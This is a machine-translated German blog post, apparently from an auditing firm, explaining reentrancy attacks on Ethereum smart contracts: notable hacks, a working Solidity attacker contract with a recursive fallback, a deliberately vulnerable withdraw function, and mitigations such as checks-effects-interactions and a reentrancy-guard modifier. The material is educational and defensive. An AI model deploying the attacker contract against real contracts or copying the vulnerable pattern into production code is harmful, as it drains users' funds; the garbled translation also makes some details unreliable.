Wie kann man Smart Contracts aus der Kupplung von Reentrancy-Angriffen entkommen? PlatoBlockchain-Datenintelligenz. Vertikale Suche. Ai.

Wie kann man Smart Contracts aus der Kupplung von Reentrancy-Angriffen entkommen?

Lesezeit: 6 Minuten

Wenn wir uns die größten Krypto-Hacks und die atemberaubenden Zahlen, die ihnen verloren gehen, genauer ansehen, wären sie tief in den Codierungsfehlern verwurzelt.

Eine solche häufig auftretende Sicherheitslücke ist der Reentrancy-Angriff. Der zerstörerische Effekt, der durch einen falsch gehandhabten Wiedereintritt verursacht wird, klingt jedoch möglicherweise nicht so einfach wie das Starten des Angriffs selbst.

Obwohl es sich um ein bekanntes und gut publiziertes Problem handelt, ist das Auftreten des Reentrancy-Bugs in Smart Contracts immer unvermeidlich. 

Wie oft wurde die Reentrancy-Schwachstelle in den letzten Jahren von Hackern ausgenutzt? Wie funktioniert es? Wie kann verhindert werden, dass Smart Contracts Gelder durch Reentrancy-Bugs verlieren? Antworten auf diese Fragen finden Sie in diesem Blog.

Lassen Sie uns also in Kürze die größten Re-Entrancy-Angriffe der Erinnerung auffrischen. 

Einige der berüchtigtsten Echtzeit-Reentrancy-Hacks 

Reentrancy-Angriffe, die die verheerendsten Auswirkungen auf die Projekte hatten, führten letztendlich zu einem dieser beiden oder sogar zu beiden. 

  • Lassen Sie den Ether vollständig aus den Smart Contracts ab
  • Hacker schleichen sich in den Smart-Contract-Code ein

Wir können jetzt einige Fälle von Reentrancy-Angriffen und deren Auswirkungen beobachten. 

2016. Juni: DAO-Angriff – 3.54 Millionen oder 150 Millionen Dollar Ether

2020. April: Uniswap/Lendf.Me-Hack – 25 Millionen Dollar

2021. Mai: Der BurgerSwap-Hack – 7.2 Millionen Dollar

2021. August: CREAM FINANCE-Hack – 18.8 Millionen Dollar

2022. März: Ola Finance – 3.6 Millionen Dollar

2022. Juli: OMNI-Protokoll – 1.43 Millionen US-Dollar

Es ist glasklar, dass Reentrancy-Angriffe nie aus der Mode gekommen sind. Lassen Sie uns in den folgenden Passagen tiefe Einblicke in sie gewinnen. 

Überblick über Reentrancy-Angriffe

Wie aus dem Namen „Reentrancy“, der „immer wieder eintreten“ impliziert. Reentrancy-Angriffe umfassen zwei Verträge: den Opfervertrag und den Angreifervertrag. 

Der Angreifervertrag nutzt die Reentrancy-Schwachstelle im Opfervertrag aus. Es verwendet die Rückzugsfunktion, um dies zu erreichen. 

Der Angreifervertrag ruft die Abhebungsfunktion auf, um die Gelder aus dem Opfervertrag abzuziehen, indem wiederholte Aufrufe durchgeführt werden, bevor der Saldo im Opfervertrag aktualisiert wird. Der Opfervertrag überprüft den Kontostand, sendet Gelder und aktualisiert den Kontostand. 

Aber innerhalb des Zeitrahmens für das Senden der Gelder und das Aktualisieren des Saldos im Vertrag fordert der Angreifervertrag kontinuierlich Geld ab. Infolgedessen wird der Kontostand im Opfervertrag nicht aktualisiert, bis der Angreifervertrag alle Gelder abgezogen hat.

Die Schwere und die Kosten der Wiedereintrittsausnutzung alarmieren die dringende Notwendigkeit der Durchführung Smart-Contract-Audits um auszuschließen, dass solche Fehler übersehen werden. 

Illustrative Ansicht des Reentrancy-Angriffs

Lassen Sie uns das Konzept des Reentrancy-Angriffs anhand der vereinfachten Abbildung unten ergründen. 

Hier sind zwei Verträge: Der verwundbare Vertrag und der Hacker-Vertrag

Der Hacker-Vertrag ruft dazu auf, sich aus dem anfälligen Vertrag zurückzuziehen. Bei Erhalt des Anrufs prüft der anfällige Vertrag, ob die Gelder im Hackervertrag enthalten sind, und überweist die Gelder dann an den Hacker. 

Der Hacker erhält die Gelder und implementiert die Fallback-Funktion, die den anfälligen Vertrag erneut aufruft, noch bevor der Saldo im anfälligen Vertrag aktualisiert wird. Der Hacker wiederholt also denselben Vorgang und zieht die Gelder vollständig aus dem anfälligen Vertrag ab. 

Wie kann man Smart Contracts aus der Kupplung von Reentrancy-Angriffen entkommen?

Merkmale der vom Angreifer verwendeten Fallback-Funktion 

  • Sie sind extern abrufbar. Dh sie können nicht innerhalb des Vertrages, in dem sie geschrieben sind, abgerufen werden
  • Unbenannte Funktion
  • Die Fallback-Funktion enthält keine willkürliche Logik
  • Fallback wird ausgelöst, wenn ETH an seinen einschließenden Smart Contract gesendet wird und keine Receive()-Funktion deklariert ist.

Analysieren von Reentrancy-Angriffen aus technischer Sicht 

Lassen Sie uns einen Beispielvertrag nehmen und verstehen, wie der Reentrancy-Angriff auftritt.

Böswilliger Vertrag

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}

Dies ist der Angreifervertrag, bei dem der Angreifer 2ETH einzahlt. Der Angreifer ruft die Widerrufsfunktion im anfälligen Vertrag auf. Sobald die Gelder aus dem gefährdeten Vertrag eingegangen sind, wird die Fallback-Funktion ausgelöst. 

Der Fallback führt dann die Auszahlungsfunktion aus und zieht den Fonds aus dem anfälligen Kontrakt ab. Dieser Zyklus setzt sich fort, bis die Mittel aus dem gefährdeten Vertrag vollständig aufgebraucht sind.

Anfälliger Vertrag

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }


}

Der gefährdete Kontrakt hat 30ETH. Hierin sendet die Funktion pull() den angeforderten Betrag an den Angreifer. Da der Kontostand nicht aktualisiert wird, werden die Token wiederholt an den Angreifer übertragen. 

Arten von Reentrancy-Angriffen

  • Reentrantität für einzelne Funktionen 
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

Der msg.sender.call.value(amount)() überweist das Guthaben, wonach die Fallback-Funktion des Angreifervertrags wieder draw() aufruft, bevor die balances[msg.sender] = 0 aktualisiert wird.

  • Funktionsübergreifende Reentrancy
function transfer(address to, uint amount) external {
   if (balances[msg.sender] >= amount) {
       balances[to] += amount;
       balances[msg.sender] -= amount;
   }
}
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

Funktionsübergreifende Reentrancy ist viel komplexer zu identifizieren. Der Unterschied besteht hier darin, dass die Fallback-Funktion die Übertragung aufruft, anders als bei der Einzelfunktions-Wiedereinstiegsfunktion, bei der die Anrufe zurückgezogen werden.

Verhinderung von Reentrancy-Angriffen

Checks-Effects-Interactions-Muster: Checks-Effects-Interactions-Pattern hilft bei der Strukturierung der Funktionen. 

Das Programm sollte so codiert werden, dass zuerst die Bedingungen geprüft werden. Sobald die Prüfungen bestanden sind, sollten die Auswirkungen auf den Vertragsstatus behoben werden, wonach die externen Funktionen aufgerufen werden können. 

function withdraw() external {
   uint256 amount = balances[msg.sender];
   balances[msg.sender] = 0;
   require(msg.sender.call.value(amount)());
}

Der hier umgeschriebene Code folgt dem Muster „Überprüfungen – Auswirkungen – Interaktionen“. Hier wird vor einem externen Anruf das Guthaben auf Null gesetzt. 

Verwendung des Modifikators

Der auf die Funktion angewendete Modifikator noReentrant stellt sicher, dass es keine reentranten Aufrufe gibt. 

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

Am Ende

Der effektivste Schritt besteht darin, Smart Contract Audits von einer führenden Sicherheitsfirma wie QuillAudits in Anspruch zu nehmen, bei denen die Auditoren die Struktur des Codes genau im Auge behalten und prüfen, wie die Fallback-Funktion funktioniert. Basierend auf den untersuchten Mustern werden Empfehlungen zur Umstrukturierung des Codes gegeben, falls es welche zu geben scheint verletzliche Verhaltensweisen

Die Sicherheit der Gelder ist gewährleistet, bevor sie Opfer von Verlusten werden. 

FAQs

Was ist ein Wiedereintrittsangriff?

Ein Reentrancy-Angriff findet statt, wenn eine Funktion im anfälligen Vertrag einen nicht vertrauenswürdigen Vertrag aufruft. Der nicht vertrauenswürdige Vertrag ist der Vertrag des Angreifers, der den anfälligen Vertrag rekursiv aufruft, bis die Mittel vollständig abgezogen sind. 

Was ist ein Wiedereinsteiger?

Der Akt der Wiedereingabe bedeutet, die Ausführung des Codes zu unterbrechen und den Vorgang erneut zu starten, was auch als Wiedereingabe bezeichnet wird.

Was ist ein Wiedereintrittsschutz?

Reentrancy Guard verwendet einen Modifikator, der verhindert, dass die Funktion wiederholt aufgerufen wird. Lesen Sie den obigen Blog, um das Beispiel für den Wiedereintrittsschutz zu finden.

Was sind einige der Angriffe auf Smart Contracts?

Smart Contracts sind zahlreichen Schwachstellen ausgesetzt, wie Reentrancy, Zeitstempelabhängigkeit, arithmetische Überläufe, DoS-Angriffe und so weiter. Daher ist Auditing ein Muss, um sicherzustellen, dass es keine Fehler gibt, die die Logik des Vertrags zerstören.

69 Views

Zeitstempel:

Mehr von Quillhash